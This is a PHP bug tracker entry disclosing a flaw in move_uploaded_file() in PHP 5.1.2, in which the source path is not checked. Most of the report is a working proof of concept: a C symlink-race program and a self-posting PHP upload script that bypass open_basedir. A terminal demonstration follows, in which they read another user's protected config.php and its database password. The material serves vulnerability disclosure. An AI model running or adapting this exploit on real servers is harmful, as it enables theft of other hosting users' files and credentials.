ID: 36548
Updated by: [EMAIL PROTECTED]
Reported By: pucik at gazeta dot pl
-Status: Open
+Status: Feedback
-Bug Type: Reproducible crash
+Bug Type: Unknown/Other Function
Operating System: linux
PHP Version: 5.1.2
New Comment:
Please provide unified diff with detailed explanations.
Previous Comments:
------------------------------------------------------------------------
[2006-02-27 19:40:25] pucik at gazeta dot pl
Description:
------------
Hi,
Vulnerable code is:
ext/standard/basic_functions.c
PHP_FUNCTION(move_uploaded_file)
{
zval **path, **new_path;
zend_bool successful = 0;
if (!SG(rfc1867_uploaded_files)) {
RETURN_FALSE;
}
if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &path,
&new_path) !=
SUCCESS) { ZEND_WRONG_PARAM_COUNT();
}
convert_to_string_ex(path);
convert_to_string_ex(new_path);
if (!zend_hash_exists(SG(rfc1867_uploaded_files),
Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1)) { RETURN_FALSE;
}
if (PG(safe_mode) && (!php_checkuid(Z_STRVAL_PP(new_path), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) { RETURN_FALSE;
}
if (php_check_open_basedir(Z_STRVAL_PP(new_path) TSRMLS_CC)) {
RETURN_FALSE;
}
VCWD_UNLINK(Z_STRVAL_PP(new_path));
if (rename(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)) == 0) {
successful = 1;
} else
if (php_copy_file(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)
TSRMLS_CC) == SUCCESS) { VCWD_UNLINK(Z_STRVAL_PP(path));
successful = 1;
}
if (successful) {
zend_hash_del(SG(rfc1867_uploaded_files),
Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1); } else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to move
'%s' to
'%s'", Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)); }
RETURN_BOOL(successful);
}
That function doesn`t check "path" parameter. For example it could be
symlink to
file that can be read only by apache.
3. PoC
We must upload some file, unlink this file from upload_dir folder and
create
symlink to file what we wont to read. There is a full working code:
/* -------------------------------- phpbug_upload.c
-----------------*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#define FILE_PATH "31337.txt"
#define LINKS_PATH "/usr/bin/links"
int main(int argc, char *argv[])
{
int child;
char buf[1024];
char *url, *file;
FILE *fp;
memset(buf, 0, sizeof(buf));
if(argc < 3)
{
printf("%s <php_file_url> <file_to_read>\n", argv[0]);
exit(0);
}
url = argv[1];
file = argv[2];
child = fork();
if(!child)
{
execl(LINKS_PATH, LINKS_PATH, "-source", url, NULL);
perror("execl");
}
sleep(2);
fp = fopen(FILE_PATH, "r");
if(!fp)
{
perror("fopen");
exit(-1);
}
fgets(buf, sizeof(buf), fp);
fclose(fp);
symlink(file, buf);
wait();
printf("\n");
unlink(buf);
return 0;
}
/* -------------------------------- phpbug_upload.c
-----------------*/
/* -------------------------------- phpbug_upload.php
-----------------*/
<?php
error_reporting(0);
if(isset($_FILES['plik']))
{
$fp = fopen("31337.txt", "w");
fputs($fp, $_FILES['plik']['tmp_name']);
fclose($fp);
chmod("31337.txt", 0777);
unlink($_FILES['plik']['tmp_name']);
sleep(4);
move_uploaded_file($_FILES['plik']['tmp_name'],
$_FILES['plik']['name']."31337"); exit;
}
$fp = fsockopen($_SERVER["SERVER_ADDR"], 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
}
$out = "POST " . $_SERVER['PHP_SELF'] . " HTTP/1.1\r\n";
$out .= "Host: " . $_SERVER["SERVER_NAME"] . "\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-Length: 196\r\n";
$out .= "Expect: 100-continue\r\n";
$out .= "Content-Type: multipart/form-data; ";
$out .= "boundary=----------------------------c32f5965dde9\r\n\r\n";
fwrite($fp, $out);
fread($fp, 1024);
$out = "------------------------------c32f5965dde9\r\n";
$out .= "Content-Disposition: form-data; name=\"plik\";
filename=\"31337.txt\"\r\n"; $out .= "Content-Type:
text/plain\r\n\r\n";
$out .=
"\r\nkurwamac\r\n\r\n------------------------------c32f5965dde9--\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp))
fread($fp, 1024);
fclose($fp);
readfile("31337.txt" . "31337");
unlink("31337.txt" . "31337");
unlink("31337.txt");
?>
/* -------------------------------- phpbug_upload.php
-----------------*/
This is example of usage:
[czubakabra public_html]$ ls -l /home/users/test/public_html/config.php
-r-------- 1 http http 49 2006-01-01 19:01
/home/users/test/public_html/config.php
[czubakabra public_html]$ cat /home/users/test/public_html/config.php
cat: /home/users/test/public_html/config.php: Brak dostępu
[czubakabra public_html]$ links -source
http://localhost/~czubakabra/test.php
<br />
<b>Warning</b>: readfile() [<a
href='function.readfile'>function.readfile</a>]:
open_basedir restriction in effect.
File(/home/users/test/public_html/config.php) is not within the allowed
path(s):
(/home/users/pucik) in
<b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br /> <br />
<b>Warning</b>: readfile(/home/users/test/public_html/config.php) [<a
href='function.readfile'>function.readfile</a>]: failed to open
stream:
Operation not permitted in
<b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br />
But we can do it, with exploit this vulnerability:
[czubakabra public_html]$ ./phpbug_upload
"http://localhost/~czubakabra/phpbug_upload.php"
/home/users/test/public_html/config.php
<?
echo "hihyha";
$dbpass = "hax0rek";
?>
This is very usefully on server that hosting shell accounts. It works
also on
SeLinux systems and others, then user is other domain.
Best regards,
Damian Put
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=36548&edit=1